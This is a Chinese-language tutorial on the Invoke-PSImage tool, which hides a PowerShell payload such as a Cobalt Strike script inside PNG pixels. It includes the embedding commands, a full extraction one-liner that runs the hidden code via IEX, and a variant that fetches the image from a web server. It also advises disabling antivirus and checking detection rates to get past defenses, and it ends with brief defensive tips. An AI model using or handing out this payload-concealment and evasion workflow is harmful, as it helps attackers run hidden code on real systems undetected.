利用Invoke-PSImage进行Powershell Bypass上线
字数 1056 2025-08-09 18:44:12
Invoke-PSImage 工具使用指南:通过PNG图像隐藏并执行Powershell脚本
工具概述
Invoke-PSImage 是一款能够将 Powershell 脚本嵌入 PNG 图像像素中的工具,它可以生成一行命令用于执行隐藏在图像中的脚本。这种方法常用于渗透测试中的绕过检测和隐蔽执行。
核心功能
- 将 Powershell 脚本嵌入 PNG 图像的像素中
- 生成执行命令,可从本地或网络加载并执行隐藏的脚本
- 支持大多数图像类型作为输入(输出必须为PNG格式)
关键参数说明
| 参数 | 描述 |
|---|---|
-Script |
指定要嵌入的 Powershell 脚本路径 |
-Image |
指定用于嵌入脚本的源图像路径 |
-Out |
指定输出PNG文件的路径 |
-Web |
生成使用Net.WebClient从web读取图像的命令 |
准备工作
- 关闭杀毒软件:生成文件时可能会被拦截
- 准备Payload:从Cobalt Strike或其他工具生成powershell脚本(payload.ps1)
- 选择合适图像:图像像素数必须大于脚本字节数(每个像素存储1字节脚本数据)
使用教程
方法一:本地图像执行
- 执行嵌入命令:
Import-Module .\Invoke-PSImage.ps1
Invoke-PSImage -Script .\payload.ps1 -Image .\shell.jpg -Out .\shell.png
- 生成的执行命令示例:
sal a New-Object;Add-Type -A System.Drawing; $g =a System.Drawing.Bitmap( "E:\Desktop\shell.png" ); $o =a Byte[] 4320 ;( 0..3 )|%{ foreach ( $x in( 0..1079 )){ $p = $g.GetPixel( $x , $_ ); $o [ $_ * 1080 + $x ]=([math]::Floor(( $p.B-band15)* 16 )-bor( $p.G-band15))}}; $g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString( $o [ 0..3554 ]))
- 注意事项:
- 确保命令中的图片路径正确
- 可在VirusTotal等平台检查生成文件的检测率
方法二:远程图像执行
- 使用
-Web参数生成命令:
Import-Module .\Invoke-PSImage.ps1
Invoke-PSImage -Script .\payload.ps1 -Image .\shell.jpg -Out .\shell.png -Web
-
将生成的PNG文件上传到Web服务器
-
修改生成的命令中的URL为实际图片地址后执行
技术原理
-
数据隐藏:将脚本数据编码到PNG图像的像素中
- 使用像素的B(蓝色)和G(绿色)通道的最低4位存储数据
- 每个像素存储1字节信息(4位来自B通道,4位来自G通道)
-
数据提取:执行命令会:
- 加载图像文件
- 从像素中提取隐藏的数据
- 将数据重组为原始脚本
- 使用
IEX(Invoke-Expression)执行脚本
防御建议
- 监控异常的图像文件加载行为
- 限制从网络下载并直接执行代码的行为
- 对可疑的Powershell命令进行审计
- 特别注意包含
IEX、Net.WebClient等敏感操作的命令
总结
Invoke-PSImage提供了一种隐蔽执行Powershell脚本的方法,通过将脚本隐藏在普通图像文件中,可以绕过一些安全检测机制。在渗透测试中,这种方法可以与其他工具配合使用,提高测试的隐蔽性和成功率。安全团队应了解此类技术以加强防御。